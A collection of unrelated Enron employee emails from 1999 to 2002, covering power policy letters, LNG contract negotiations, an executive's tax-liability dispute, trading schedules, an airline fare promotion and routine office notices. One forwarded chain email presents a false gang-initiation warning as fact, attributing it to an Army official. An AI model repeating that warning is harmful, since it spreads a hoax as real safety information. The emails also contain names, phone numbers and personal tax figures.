rcarroll@bracepatt.com, rlichtenstein@marathon-com.com, Richard 
Shapiro/NA/Enron@Enron, Sandra McCubbin/NA/Enron@Enron, 
syamane@marathon-com.com, SGovenar@govadv.com, Steven J Kean/NA/Enron@Enron, 
Susan J Mara/NA/Enron
		 cc: 
		 Subject: Letters to Senators

FYI.  Here are letters Enron (Steve Kean) sent to US Senators about real 
solutions for California.  The Feinstein / Murkowski letters are very good 
overviews of our recommendations on what to do and what not to do.

Jim

----- Forwarded by James D Steffes/NA/Enron on 02/27/2001 07:57 AM -----

	02/26/2001 05:27 PM
		 
		 To: Linda Robertson/NA/Enron@ENRON, Tom Briggs/NA/Enron@Enron, Scott 
Bolton/Enron Communications@Enron Communications, Paul Kaufman/PDX/ECT@ECT, 
Susan J Mara/NA/Enron@ENRON, Joe Hartsoe/Corp/Enron@ENRON, Sandra 
McCubbin/NA/Enron@Enron, James D Steffes/NA/Enron@Enron, Jeff 
Dasovich/NA/Enron@Enron, Alan Comnes/PDX/ECT@ECT, Vance Meyer/NA/Enron@ENRON, 
Karen Denne/Corp/Enron@ENRON, Mark Palmer/Corp/Enron@ENRON
		 cc: Lora Sullivan/Corp/Enron@ENRON

Attached are the letters sent to Senators Wyden, Feinstein & Murkowski.

---------------------- Forwarded by Todd Peterson/ENRON_DEVELOPMENT on 
03/06/2001 01:52 PM ---------------------------

Nancy Corbet
09/07/2000 01:42 PM
To: Greg Curran/CA/Enron@Enron
cc: Todd Peterson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Coralina 
Rivera/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT 

Subject: Sent to Efrain yesterday afternoon

Greg, attached is the response from Cabot after Eco tendered the draft COU. 
Cabot stated that they disagreed that Article 6.4 (a) of the LNG Sales 
Contract requires Cabot to sign a COU . Nevertheless Cabot stated in the 
final paragraph that they are willing to enter into an agreement with Eco 
covering all or some of the matters proposed in the conditions of use. In the 
last two sentences they stated that they were reviewing the COU but that 
agreement clearly could not be reached by the July 10th delivery date.  (We 
at Enron recognize that the COU may require negotiation on some points and we 
are ready and eager to get the negotiations going. )

 Todd will fax you copies of the 2 letters from him to Cabot regarding the 
July 10th and August 14th deliveries and other correspondence between himself 
and Cabot. Basically in the 2 letters referenced above we stated that despite 
our attempts to schedule a meeting and complete the COU , this had not been 
achieved and while we appreciated that the Cabot merger was in process we 
considered  this matter urgent. We stated our position that the LNG Agreement 
provided for such execution and that acceptance of a ship at the terminal did 
not represent a waiver of any of our rights pursuant to that agreement. We 
again requested that Cabot attend to this matter prior to the next shipment.

Should Cabot bring up the issue of whether COUs are industry practice, you 
may want to raise the fact that this facility is different from others in the 
US which are FERC regulated and have tariffs which address some of the issues 
raised in the COU. ( In other parts of the world where there is no "FERC" , 
COUs are common industry practice. )Since Cabot has agreed to sit down with 
us I would not recommend a debate on the legal/contractual requirements per 
se. Threatening them with breach of contract or telling them they cannot 
deliver is not a practical or commercial solution . 

  Our concern now is that having had 2 ships deliver without having a COU in 
place and now likely a third next week, we may be weakening our position that 
we have not waived any legal rights . 

My understanding is that Rick wants a commitment to get this done - 
regardless of the current Cabot / Tractobel situation . I will e-mail you 
again the draft COU and also a comparison of our legal position with /without 
the COU for your general information.            
---------------------- Forwarded by Nancy Corbet/ENRON_DEVELOPMENT on 
09/07/2000 01:09 PM ---------------------------

Todd Peterson
07/07/2000 10:30 AM
To: Daniel R Rogers/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Nancy 
Corbet/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, masseye@arentfox.com
cc:  

Here is a copy of Cabots respone to the COU and a few other things.

TP
07/07/2000 10:25 AM ---------------------------

"Jane Michalek" <jmichalek@cabotlng.com> on 07/07/2000 04:50:29 AM
To: Todd.Peterson@enron.com
cc:  

FYI

(See attached file: letter to Eco re cou and first delivery.doc)

 - letter to Eco re cou and first delivery.doc

Dear Enron Employees:

I'm sorry to report that a third Enron employee has died in the hospital as a result of injuries from yesterday's explosion and fire at Teesside Power Station.  To lose another employee is a devastating blow to all of us.  A fourth employee remains in the hospital and is in stable condition.  Please keep these employees and their families in your thoughts and prayers.  We will release their names as soon as all family members and relatives have been notified.

I'm in the U.K. now and will be visiting with the employees and families who've been affected by this tragic accident.  I will also visit the site and will meet with authorities in order to determine the cause of the explosion.  I will keep you posted on any new developments.

Ted,

As far as the UK is concerned Enron has paid GBP 51,340.67 towards UK taxes for the year ending 5 April 2002.

For the UK tax year ended 5 April 2001 PWC advised us that your liability for the year was GBP 195,731.20.  Enron had paid GBP 108,746.72 during the year, and Enron paid the balance of GBP 86,984.48 in November 2001.

Regards,

Madeline

From: 	Jones, Michael B  
Sent:	15 December 2001 00:57
To:	Murphy, Ted; Callahan, Timothy
Cc:	Buy, Rick; Fallon, Jim; Fox, Madeline
Subject:	RE: Personal Tax Liabilities

Ted, 

In addition to the $57,000 paid by Enron to the IRS, you will also have UK taxes paid by Enron to offset your US tax liability.  Most of the imputed income items relates to UK taxes ($220,000), which will be available for use as a credit against any US liability that you have.  $82,000 of the imputed items relates to housing, which also gets exluded under section 911 of the IRS code.  The housing exclusion is in addition to your usual income exclusion.  

In addition to the payments that have been made and amounts imputed, Enron still intends to tax equalize you for 2001.  

The $57,000 is the US FIT that has been paid to the IRS on your behalf.  Regarding your UK taxes, Madeline Fox is working to finalize the information for all the expats in the UK.  

Regarding PwC, they probably only meant that they are done with the tax returns for Enron's expats for this year.  We have prepaid PwC's services for the 2001 US tax year and the 2001/2002 UK tax year.  You will be contacted as usual in early 2002 regarding your tax return assistance.

Thanks,

Mike

From: 	Murphy, Ted  
Sent:	Friday, December 14, 2001 5:54 AM
To:	Callahan, Timothy; Jones, Michael B
Cc:	Buy, Rick; Fallon, Jim
Subject:	Personal Tax Liabilities

Tim,
I have just recieved my pay stub for the period ending 11/30/01.
For the first time, it shows an incredibly disturbing number related to imputed income.
Total Earnings = $352,171
Total Earnings plus Imputed = $1,338, 394.08 
Taxes withheld = $19,895.

I do not have any clue as what this imputed income is or why it may be attributed to me.  However,  as I understand it, I am liable for the taxes to the IRS even though I received no benefit. From our last conversation, I was told that $57k was sent to IRS to settle this amount and ?86k for uK liabilities. My calculation of the liability is much higher - somewhere in the neighborhood of 40% x 1,338,395 or $535,358.  Please give me a full accounting of the taxable liabilities incurred by Enron on my behalf for the tax year 2001 for both the us and uk and the tax payments made. I would appreciate that this could be done in the next 24 hours as it is causing immense stress.  

I also spoke to PWC in the UK 2 minutes ago who told me that they were not doing any work for Enron at the moment.

Ted

Hi sweetheart.

I love you.

I enjoyed sitting at the table eating breakfast with you this morning. Every day that I get to be with you is a special gift for me. I love you so much. 

Jorie sent an envelope with Dan for me to give to you. It says on the envelope that she looked for the house online (ERA.COM) and found it under the 150-250 range. 

I can't wait to see you tonight. I love you baby.

CV.

Well it is almost that time again!  I am going to try something different.  I 
am
forwarding you the time sheet by email.  Save the document to whatever
drive you want to and then fill out any off duty time or overtime that you 
had 
and return to me by email.   I will need this by the 15 and 30 (or 31st) of 
each
month.

This may work better than hand delivering.

The next RCR call will take place on Monday, March 26 at 12:00pm CST. The 
dial in number will be 1-800-283-1805 with Rick listed as the host.

Thanks

gngr

Start Date: 4/24/01; HourAhead hour: 18;  No ancillary schedules awarded.  

Schedules\2001042418.txt

     Details: (Hour: 18 / Preferred:   0.00 / Final:   0.00)
  SC_ID: EES

     Details: (Hour: 18 / Preferred: -575.00 / Final: -574.97)
  DEAL_NO: 1

     Details: (Hour: 18 / Preferred: 125.69 / Final: 125.38)

From: 	Jacobson, Michael  
Sent:	Monday, October 15, 2001 12:56 PM
Subject:	FPL Energy Mktg dispute 9/1/01

JMF,

On 9/1/01 FPL Energy Mktg is showing the following deal that we do not have in the Hourly P&L nor in EnPower...

HE 9 - 25 mws @ $21
HE 10 - 25 mws @ $21

Thanks,
MJ

     Springtime in Europe!  Announcing Group Specials to Europe

US Airways is offering special sale fares for groups of ten or more passengers traveling together from the continental U.S. to Europe between April 1, 2002 and May 31, 2002. Group reservations must be made through US Airways Group & Meeting Travel at 877-US GROUPS (877-874-7687) no later than 30 days prior to departure, or by Friday, March 15, 2002, whichever is earliest.  Or, visit us at http://www.usairways.com/groups/europe_group_sale.htm

Call US Airways Group & Meeting Travel between 8:30 a.m. and 6:00 p.m., Monday through Friday, to make your group reservation or for more information on these and other group specials.

Sample Markets                          Each Way Sale Fares 
St. Louis to Amsterdam                          $234 
Philadelphia to Amsterdam                       $194  
Raleigh/Durham to Amsterdam                     $234 
Tampa to Amsterdam                              $246 
Baltimore to Frankfurt                          $216 
West Palm Beach to Frankfurt                    $251 
Ft. Lauderdale to Madrid                        $259 
Phoenix to Madrid                               $289 
Syracuse to Madrid                              $250 
Boston to Manchester, UK                        $200 
San Francisco to Manchester, UK                 $251 
Philadelphia to Manchester, UK                  $200 
Cleveland to Munich                             $247 
Denver to Munich                                $269 
Minneapolis to Munich                           $247 
Charlotte to Paris                              $192  
Hartford to Paris                               $192 
Nashville to Paris                              $232 
Pittsburgh to Paris                             $183 
New Orleans to Rome                             $289 
San Diego to Rome                               $307  
Dallas/Ft. Worth to London                      $199 
Charlotte to London                             $190 
Indianapolis to London                          $225  
Louisville to London                            $225 
Orlando to London                               $190 

Fares are each way based on roundtrip Coach travel on US Airways, US Airways Shuttle, and/or US Airways Express. Depending on your travel needs, alternative routings may be available at the same fares, with part of the service on regional aircraft operated by US Airways Express carriers Allegheny, Air Midwest, CCAIR, Chatauqua, Colgan, Mesa, Piedmont, PSA, Shuttle America or Trans States.

SPECIAL PROMOTION RESTRICTIONS
Fares apply from the US to Europe. Roundtrip purchase required. Fares are per passenger based on a group of ten (10) or more passengers traveling together. All passengers in a group must travel on identical itineraries. Valid for travel originating 4/1/02- 5/31/02. All travel must be completed by 6/10/02. Tickets become nonrefundable 24 hours after making initial reservation, but under certain conditions may be changed for a minimum $150 fee. Minimum 5 day stay required. Maximum 60 day stay applies. Fares valid for travel Monday-Thursday only. Fares for travel on other days are higher. Fares do not include airport passenger facility charges of up to $18, and September 11 security fees of up to $10 per roundtrip, where applicable. 
Fares do not include government-imposed taxes/fees/surcharges of up to $90, and are subject to government approval. Seats are limited and may be sold out during very busy travel times, weekends or holiday periods. Other restrictions may apply. Lower fares may be available in these markets. Group reservations must be made no later than 30 days prior to departure or by 03/15/02, whichever comes first, and tickets must be purchased no later than 21 days prior to departure. Subject to normal group deposit procedures. All group reservations must be made through US Airways Group & Meeting Travel at 1-877-874-7687 or visit us at http://www.usairways.com/groups/europe_group_sale.htm

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		Copyright US Airways 1996-2002.  All rights reserved.

	   US Airways World Wide Web address: http://www.usairways.com

On April 21st and April 22nd, Pat Kelley from BPA prescheduling group called and informed me we were curtailed by a total of 12 mw for HE 7-22 for April 22nd at COB.  Accordingly, we purchased 12 mw from Avista to cover our position.  At 1:00 p.m, April 22, Rob called from BPA and informed me they made a mistake with the hours of the curtailment and that it was only supposed to be cut HE 7-20 and not HE 21-22.  Therefore, BPA will not charge 12 mw for 2 hours on April 22nd.

The deal numbers are as follows:  deal#153325(2mw),153327(2mw),305699(4mw) and 305700(4mw)

If you have any questions, please see me.

Lisa

Kay:

The deal is for all four units at $16.45 million each. I will talk to Lee 
Johnson this morning. Part of the deal will involve us purchasing 4 
additional units from GE for a late '01 delivery.

I'll call you after I talk to Lee.

Regards,

Ben

Fred,

Kay

Steve:

know.

tomorrow.

Thanks,
Fred
x35406

Tom,  Here are power's top trading counterparties.  Let me know if gas has others.  I want to make sure our marketing group gets all the master agreements in place that we need in Texas for gas and power as fast as possible.  - Mike

From: 	King, Jeff  
Sent:	Thursday, January 31, 2002 10:06 AM
To:	Portz, David
Cc:	Gilbert-smith, Doug; Curry, Mike; Schiavone, Paul
Subject:	ERCOT Counterparties

David,  

Doug asked me to get you a list of our top counterparties in ERCOT.  Below is our list:

Calpine
Dynegy
Mirant
Aquila
El Paso
TXU
Reliant
ANP Marketing
FP&L
BP Amoco
LCRA

Call me if you have questions.

Thanks
Jeff King (x37111)

---------------------- Forwarded by Susan Rance/NA/Enron on 11/27/2000 01:26 
   
	From:  Sara Weaver @ EES                           11/27/2000 11:04 AM
	
To: Analysts 2000, Michelle Gross/HOU/EES@EES, Brooklyn Couch/HOU/EES@EES, 
Amanda Boettcher/HOU/EES@EES, Anate Kor/HOU/EES@EES, Sonia 
Garcia/HOU/EES@EES, Dulle, Kate, Judy Dyer/HOU/EES@EES, Ana 
Agudelo/HOU/EES@EES
cc:  

Subject: FW: *URGENT*...gang initiation info; please read!!!

---------------------- Forwarded by Sara Weaver/HOU/EES on 11/27/2000 10:57 

Cathy Pham
11/27/2000 10:55 AM
To: lt930@yahoo.com, NganHaBui@yahoo.com, Sara Weaver/HOU/EES@EES, Sonia 
Perez/HOU/EES@EES, Quyen Nguyen/HOU/EES@EES
cc:  

> IMPORTANT MESSAGE FOR SAFETY FROM THE DIRECTOR OF
> TRAINING AT THE US ARMYMILITARY POLICE SCHOOL
> PLEASE TAKE TIME TO READ AND PASS ALONG !
>
> A friend stopped at a pay-at-the-pump gas station to get gas.
> Once she filled her gas tank after paying at the pump and started
> to leave the attendant inside came over the speaker. He told her that
> something happened with her card and that she needed to come inside to
> pay.
>
> The lady was confused because the transaction showed complete and
> approved.
> She told him that and was getting ready to leave but the attendant once
> again
> urged her to come in to pay or else. She proceeded to go inside and
> started arguing with the
> attendant about his threat.
>
> He told her to calm down and listen carefully:
> He told her that while she was pumping gas, a guy
> slipped into the back seat of her car on the other side and he had called
> the
> police. She immediately became scared and looked out there in time to see
> her car door open and the guy slip out.
>
> The report is that the new gang initiation thing is to bring back a
> woman's body part.
> One way they are doing this is crawling under girls/women's cars  while
> they're
> pumping gas or at grocery stores in the night time. Then they are cutting
> the lady's
> ankles to disable them in  order to kidnap them, kill and dismember them.
> The other way is slipping into unattended cars and kidnapping the women to
> kill and
> dismember them.
>
> Please pass this on to other women, young and old alike. BE extra careful
> going to and from your car at night. If at all possible, don't go alone!
> This is real!!
>
> The message:
> 1. ALWAYS lock your car doors, even if you're gone
> for just second.
> 2. Check underneath your car when approaching it
> for reentry, and check in the back before getting in.
> 3. Always be aware of your surroundings and other
> individuals in your  general vicinity, particularly at night!
>
> Send this to your friends so as many females as possible can be made
> aware of this new threat, and so your friend will not be the next victim.
>
> Thanks,
> Barbara Baker, Secretary
> Directorate of Training
> US Army Military Police School
> (573) 563-8043

Check out the latest issue of eBiz at home.enron.com.  Click on Publications, 
then on eBiz and "July 14, 2000."  

EnronOnline extends to additional trading platforms
Price caps in the California power market
Weather hedging for wine bars
Enron Directo begins selling power in Spain
The New Power Company acquires customers
LNG transporter brings natural gas to Puerto Rico

Mark,

Lyndon Taylor suggested that I send you my resume (attached).  I appreciate
your consideration of it.  I am very interested in a position at Enron.  I
am working mainly on domestic power projects at Coastal, but also work on
some international projects.  I have been a lawyer for ten years, and have
significant deal experience.  I also have an MBA, and speak five languages.

Lyndon said that you would mention my name to Kristina Mordaunt.  I very
much appreciate that also.

I look forward to speaking with you.  I can be reached at 713-418-4705.

Tariq

 - Tariq Khan -- Mark Taylor 10-00 (MS Word 97).doc

SK:  I sent this out to the group you gave me.  As more updates appears - I 
will forward those too.  mm

----- Forwarded by Maureen McVicker/NA/Enron on 07/13/2001 08:35 AM -----

	Sarah Novosel
	07/13/2001 08:17 AM
		 
		 To: Maureen McVicker/NA/Enron@Enron
		 cc: 
		 Subject: PJM RTO Order

Maureen:

Ginger asked me to forward this summary to you, and that Steve asked you to 
send it to others.  Please note that the attached summary is just the first 
in several to come today, and I will send them to you as we finish them.  
However, the PJM one is probably the most important one, so it's a good one 
to get out early.

Please call me if you have any questions.

Sarah

----- Forwarded by Sarah Novosel/Corp/Enron on 07/13/2001 09:15 AM -----

	07/13/2001 08:57 AM
		 
		 To: Kevin M Presto/Enron@EnronXGate, Mark Dana Davis/HOU/ECT@ECT, Jeff 
Ader/HOU/EES@EES, Edward D Baughman/Enron@EnronXGate, Joe 
Gordon/Enron@EnronXGate, Janelle Scheuer/Enron@EnronXGate, mbrown9@enron.com, 
Mark Bernstein/HOU/EES@EES, John Llodra/Enron@EnronXGate, W David 
Duran/Enron@EnronXGate, George Wood/Enron@EnronXGate, Dave 
Perrino/SF/ECT@ECT, Paul J Broderick/Enron@EnronXGate, Jason 
Thompkins/Enron@EnronXGate, Mason Hamlin/Enron@EnronXGate, Robert 
Stalford/Enron@EnronXGate, Tom May/Enron@EnronXGate, Gautam 
Gupta/Enron@EnronXGate, Narsimha Misra/Enron@EnronXGate, Steve 
Montovano/NA/Enron@Enron, Garrett Tripp/Enron@EnronXGate, Berney C 
Aucoin/Enron@EnronXGate, Jason Thompkins/Enron@EnronXGate, Rob 
Wheeler/Enron@EnronXGate, Rogers Herndon/Enron@EnronXGate, Jim 
Meyn/Enron@EnronXGate, Aleck Dadson/Enron@EnronXGate, Daniel 
Allegretti/Enron@EnronXGate, Pearce W Hammond/HOU/EES@EES, Donna 
Fulton/Corp/Enron@ENRON, Howard Fromer/NA/Enron@Enron, Kathleen 
Sullivan/NA/Enron@ENRON, Tom Hoatson/Enron@EnronXGate, Thane 
Twiggs/Enron@EnronXGate, Sarah Novosel/Corp/Enron@ENRON, Christi L 
Nicolay/HOU/ECT@ECT, James D Steffes/NA/Enron@Enron, Linda 
Robertson/NA/Enron@ENRON, Richard Shapiro/NA/Enron@Enron, Steven J 
Kean/NA/Enron@Enron, Charles Decker/HOU/EES@EES, Nick 
Politis/Enron@EnronXGate, sscott3@enron.com, Aleck Dadson/Enron@EnronXGate, 
Lloyd Will/Enron@EnronXGate, Ray Alvarez/NA/Enron@ENRON, Susan M 
Landwehr/NA/Enron@Enron, Charles Yeung/HOU/ECT@ECT, Andy 
Rodriquez/Enron@EnronXGate, John J Lavorato/Enron@EnronXGate, Louise 
Kitchen/Enron@EnronXGate, Greg Whalley/Enron@EnronXGate, 
susan.j.mara@enron.com, Jeff Dasovich/NA/Enron@Enron, Karen 
Denne/Enron@EnronXGate, mpalmer@enron.com, Alan Comnes/Enron@EnronXGate, Tom 
Briggs/NA/Enron@Enron, John Shelk/NA/Enron@Enron, Pat 
Shortridge/Corp/Enron@Enron, Chris Long/Corp/Enron@ENRON, Mike 
Roan/ENRON@enronXgate, Kerry Stroup/NA/Enron@Enron, Janine 
Migden/Enron@EnronXGate, Dave Mangskau/Corp/Enron@ENRON
		 cc: 

Attached is a summary of the PJM RTO order.  While it is somewhat lengthy, 
the order has a lot of good information in it that I wanted to share with the 
group, particularly the Commission's statements regarding the existing 
configuration of the northeast and the need to expand it.

We are working on summaries of the New York and New England RTO orders and 
will have those out shortly.  If you would like copies of the orders, just 
let us know.

We expect the mediation proceeding to begin within the next week.  We will 
keep you updated.

Sarah

Ken,

After our conversation with Gerry Hines at the Aspen Hospital my wheels
started spinning.  If you remember, you mentioned to Hines that you would
have your people contact his in reference to Enron's real estate requirement
in London.  Well, this eager (maybe too eager) real estate broker's juices
started flowing (Papa Duncan would be surprised to know that something
besides Wendy gets me going)!

If you need some quality competition, I have formed a strategic alliance
with Trammell Crow Savills (www.trammellcrowsavills.com) specifically to
pursue Enron's real estate needs in London and elsewhere in Europe.
Trammell Crow Savills was formed in May to create one of the largest and
most experienced full service real estate firms covering Europe,
Asia-Pacific and Australia.  I was able to form this alliance specifically
to go after your business because 4 of the top officers at Trammell Crow are
friends of mine.  Don Williams (Chairman), Pryor Blackwell  (COO), Chuck
Anderson (Regional President) and Mike Lafitte (President Dallas and Blake
Poston's Godfather).  In fact, Trammell Crow is hosting a golf tournament in
October that will raise $70,000 for Rise Dallas!

Mike Lafitte is the only one who knows that Enron is the potential prospect.
So, if I have my nose where it does not belong I can shut it down without
any fanfare.

Could there be an opportunity to meet with Enron to sell Trammell Crow
Savills for your London and/or European real estate needs?

It's a long shot, I know.  But, I had to take a swing!

John

John B. Poston
Poston Yoder Commercial Real Estate
10000 N. Central Expwy
Suite 1100
Dallas, TX  75231
214/373-1945 direct
214/363-7585 fax
johnposton@postonyoder.com

---------------------- Forwarded by Chris Germany/HOU/ECT on 02/19/2000 01:21 

cc:  

claybus

See below
---------------------- Forwarded by Becky Young/NA/Enron on 12/06/2000 04:42 
   
	From:  Amanda Huble                           12/06/2000 04:39 PM
	
To: Becky Young/NA/Enron@Enron, Laura Harder/Corp/Enron@Enron, Jessica 
Presas/Corp/Enron@ENRON, Ina Rangel/HOU/ECT@ECT, Airam Arteaga/HOU/ECT@ECT, 
Kimberly Brown/HOU/ECT@ECT
cc:  

Subject: 

Please forward this message to your groups...

Dr. Gary Ross (PIRA CEO)  will here tomorrow to discuss the global oil 
markets.

Thursday Dec 7, 2000 in room 8c1 from 3:30 to 5.

Thank you, 
Amanda Huble

Please fill in the blank:
=01&First Contingency Transmission Outage=018 means

From: Reagan Rorschach/ENRON@enronXgate on 05/31/2001 10:37 AM
cc: =20

Subject: RE: MDEA Agreement Scheduling

I'm still waiting on David Hunt to send me some stuff, which would really=
=20
help move the document along.  I'll ask again if i can get it from him. The=
re=20
are still internal questions in it, which I have annotated. I'm happy for y=
ou=20
to look at it fairly shortly, especially if you can give definitive=20
commercial direction.

Do you feel that the commercial team is  finished with the exhibits?  I=20
haven't worked on them, but I suspect the exhibits need work.  I know the=
=20
bogey calc doc is a bit rough. [Rorschach, Reagan]  Exhibits are rough.  I=
=20
need to make a list of Exhibits called out in the current doc version, pull=
=20
them all together, and clean them up.=20

Do you still owe me the emergency transmission cut stuff? [Rorschach, Reaga=
n]=20
  Yes.  I am not exactly sure of the context....but try this on for size: =
=20
Clarksdale is subject to an Entergy transmission constraint that from time =
to=20
time results in a transmission cut and mandates Clarksdale dispatching thei=
r=20
generation assets to serve Clarksdale Native Load.  Dispatching Clarksdale=
=20
assets under these circumstances is known as the first contingency must run=
=20
condition.  During first contingency must run conditions, EPMI will documen=
t=20
the production costs, megawatts generated, duration of the event, and lost=
=20
opportunity cost of buying from the market.  Clarksdale is due reimbursemen=
t=20
from Entergy for extra costs incurred during such events.=20

Early next week is better than later, and Thursday and Friday are huge=20
problem days for me.  When are you thinking of meeting with Beck?  Anyway t=
o=20
combine the two at once, given the short timeframe? [Rorschach, Reagan]  I=
=20
think we could get everyone together at the same time as soon as Monday.  I=
=20
want them to have the time to study the document so we can get it all done =
at=20
once. =20

Has Dave signed the extension, by the way? [Rorschach, Reagan]   done,=20
fedex'ing to MDEA.  Will have faxed copy today.

Kay

From: Reagan Rorschach/ENRON@enronXgate on 05/31/2001 09:59 AM
cc: =20

Subject: MDEA Agreement Scheduling

Kay,

We are starting to run into some scheduling constraints for next week, at=
=20
least with Bob Priest.  I'd like to get together with Bob and Marvin early=
=20
next week to discuss the agreement--moving toward finalizing before June 12=
. =20
Bob is only available Monday.  Bob and Marvin think it is a good ideal to=
=20
then meet with RW Beck.

I'd like to email Marvin and Bob the next version sometime today?

Reagan C. Rorschach
713.345.3363

FYI - BE contract extended. 
----- Forwarded by Aleck Dadson/TOR/ECT on 05/15/2001 09:02 AM -----

	Paul Devries
	05/14/2001 06:04 PM
		 
		 To: Rob Milnthorp/CAL/ECT@ECT
		 cc: Jeff Borg/TOR/ECT@ECT, Jan Wilson/TOR/ECT@ECT, Chris 
Gaffney/TOR/ECT@ECT, Aleck Dadson/TOR/ECT@ECT, Peter Keohane/CAL/ECT@ECT
		 Subject: British Energy

Rob, after extended negotiations with British Energy, we have verbally 
settled on:

1.  Contract drop dead date extended to December 31, 2002
2.  Contract price of C$ 41.85/MWh.
3.  A number of small amendments to the contract that we (Chris and I) are OK 
with (Chris is preparing an Amending Agreement and memo for Peter Keohane to 
review tomorrow).

I am very happy with this as it still leaves a value of C$ 107 million (US$ 
71.3 million), and it extends the contract out 13 months from the current 
drop dead.  They were initially at C$45/MWh so we were able to squeeze them 
down a fair bit.  Realistically, there was a fair chance of not getting any 
of this power as they would only have had to give Falconbridge or Dofasco or 
any industrial a call and been able to fill this at $45/MWh in a heartbeat.  
Fortunately they still see value in having a contract with us for the future 
opportunities that may come up in the marketplace.   

We have left the discussion of the put swaptions from Bruce A to a later date.

No, just hold on -- we're waiting for final settlement documents from 
Reliant, with the Ajello release.  Michelle

"Bill W. Ogden" <bogden@ogwb.com> on 09/26/2000 09:36:57 AM
cc:  
Subject: Ajello

Hi Michelle...just a note; I haven't heard anything about the settlement,
and have neither sent nor received a dismissal order. Is this ball in my
court? Let me know.
Bill

Here are additional ring trades where EPMI sells to AEP, AEP sells to Allegheny, Allegheny to EPMI.  Please let me or Tracy know if you have any questions.  

Thanks,

Chris Mumm

Enron North America			
West Power Desk					
121 SW Salmon Street 3WTC0306		
Portland, Oregon 97204	

503.464.8862
503.464.3740 (fax)		

With ECS (Enron Center South) rapidly approaching completion, Enron is forced 
to change the numbering scheme on the existing Stentofon system.  To increase 
our capacity to support this expansion, we must increase the number of valid 
Stentofon address numbers.  Enron currently uses 100, 200, 300, 400, 500, 600 
and 900 series numbers for the addresses.  In order to add more addresses to 
the system, Enron will be converting the dial plan from a three digit dialing 
system to a four digit dialing scheme on the Stentofon system.  This 
conversion is scheduled to occur on the weekend of May 18th.

In efforts to minimize confusion, we will convert all Stentofon addresses in 
EB1 to a 4000 series number.    (i.e.  If your Stento number was 364, then 
your new number will be 4364.)  We will also change all speed dials to 
reflect the new dialing scheme.  Please instruct the users within your group 
of this change.

Thank you for your understanding and cooperation.

Regards, 
Darren Adamik
Mgr.-Trading Technology 
Enron Net Works, LLC 
713.853.4764 Office
713-853-9828 Fax
mailto:darren.p.adamik@enron.com

Mark,

With the addition of the ATA and EnronOnline auctions, we will need to 
provide the customers a way to identify to us that they wish only to transact 
on the Auctions. I am thinking the easiest way to do this is with a check box 
on the PA which says "(Optional): This application is for EnronOnline 
Auctions only"

Would this work?

Dave

you can open it and hold it.  I know what it is.

Gloria Cruz
10/25/2000 02:03 PM
cc:  

Subject: 

Kay, there is a FedEx from Ken Sevigny (ENSR Consulting & Engineering, 35 
Nagog Park, Acton, MD).  Let me know if you want me to open it and advise you 
as to what it is or if it can hold until tomorrow when you come in.

Sorry for not getting back to you sooner (I was out of town last weeek) - 
unfortunately, I have a 2:00 already on my calendar but am available later.  
If you want to meet with Alan & Jeff first and see me afterwards, that's ok 
with me.

08/19/99 01:22 PM
To: Mark - ECT Legal Taylor/HOU/ECT@ECT, Jeffrey T Hodge/HOU/ECT@ECT, Alan B 
Aronowitz/HOU/ECT@ECT, Torrey Moorer/HOU/ECT@ECT
cc:  
Subject: Enron Online / Legal

Torrey, and myself would like to set-up a time for Monday to discuss a few 
EOL issues that we feel pertinent to the Legal Department. If you could let 
me know if  the afternoon ( 2:00) works for you I would greatly appreciate 
it. Once I hear from you I will set-up a room for us all to meet. 

Thank you for your time, TARA SWEITZER

FYI:  Due to the non-standard operations for in the EOL Management Reporting Group,  the daily Executive Summary report will be delayed.

Thanks
Fraisy George

Hi Mark

FYI - We are planning to launch the LME Registered Contracts on Monday 25th 
September.  We currently have all US counterparty profiles set to Read these 
products.  Please let me know whether the profiles need to be amended.

Look forward to receiving the detailed guidelines which we will need to 
incorporate into the PCG process and disseminate to all marketers.

Regards

Amita
---------------------- Forwarded by Amita Gosalia/LON/ECT on 19/09/2000 09:21 

Bruce Garner
18/09/2000 13:59

Subject: cftc

Mark,

Thanks for the good news on Friday.

Can you please outline the pocedures we should follow for our Online LME 
business.

regards
bruce

FYI, Kim.

From: 	Gerardo Espinosa   On Behalf Of Gerardo Espinosa
Sent:	Tuesday, March 19, 2002 5:28 PM
Subject:	Transpecos

[IMAGE]=09?=20

In the 16-31 January edition of designzine.com,  investigate the young worl=
d=20
of e-mailers on-the-go. In Metropolis,  Andrew Blum=01,s talking about the =
new=20
Motorola Talkabout may make you feel like  an old fogy; it did me. And, in=
=20
the quarterly edition of [dizajn]  le journal, curators at the Pompidou  in=
=20
Paris offer some insight into the institution=01,s design-collecting policy=
; =20
and, yes, the article is in English.

Have you heard the favorable buzz about the aluminum  exhibition in=20
Pittsburgh? It will soon be traveling to New York=01,s Cooper-Hewitt.  Chec=
k out=20
the Books  section for a review of show=01,s hefty catalogue.

The Calendar  continues to be jam-packed with a vast number of events. For=
=20
the exhibition  on the past 100 years of California culture, see the Home =
=20
Page.

And don=01,t forget about designstand.com,  our design-store companion site=
.

Mel Byars
Editorial Director
designzine.com

?=20

If you would like to remove your e-mail address from  our mailing list,=20
please click here. =20

?

?

have a good weekend. we have tomorrow off and I am headed to a bachelor 
party....yee ha
PL

Please note that your employees have suggested the following people to 
complete a feedback form on their behalf.  You will need to access the 
Performance Management System (PEP) to either approve or decline these 
suggested reviewers.  Once you have approved the suggested reviewers they 
will be notified and can begin completing the feedback form.

Your list of employees that have suggested reviewers are listed below:

Date suggested: May 19, 2000
Feedback Due Date: Jun 16, 2000

Employee Name: KOLLAROS, ALEXIOS

Date suggested: May 22, 2000

Employee Name: KRISHNARAO, PINNAMANENI V

Employee Name: SHANBHOGUE, VASANT

Please email me the execution version of the escrow agreement.  Are we using 
one, two or three?

Thanks,

Kay

FYI. I'm not sure what progress has been made on the conflict waiver, or who 
our contact is at Murtha. Kay Mann may know.
----- Forwarded by Barton Clark/HOU/ECT on 09/19/2000 11:13 AM -----

	Barton Clark
	09/01/2000 01:41 PM
		 
		 To: Sharon Butcher/Corp/Enron@ENRON
		 cc: Daniel Allegretti/HOU/EES@EES
		 Subject: Murtha Cullina Conflict Waiver request

The request that I look at or find the proper person to review a conflicts 
waiver to be executed by Enron Corp. came to me from Daniel Allegretti as I 
am the lawyer working for ENA ( power assets group) in the fuel cell project 
referred to in the attachment. Sheila Tweed advised me you were the proper 
person to be looking at this matter for governmental affairs. I went ahead 
and yesterday did a markup of the requested conflicts waiver from Murtha 
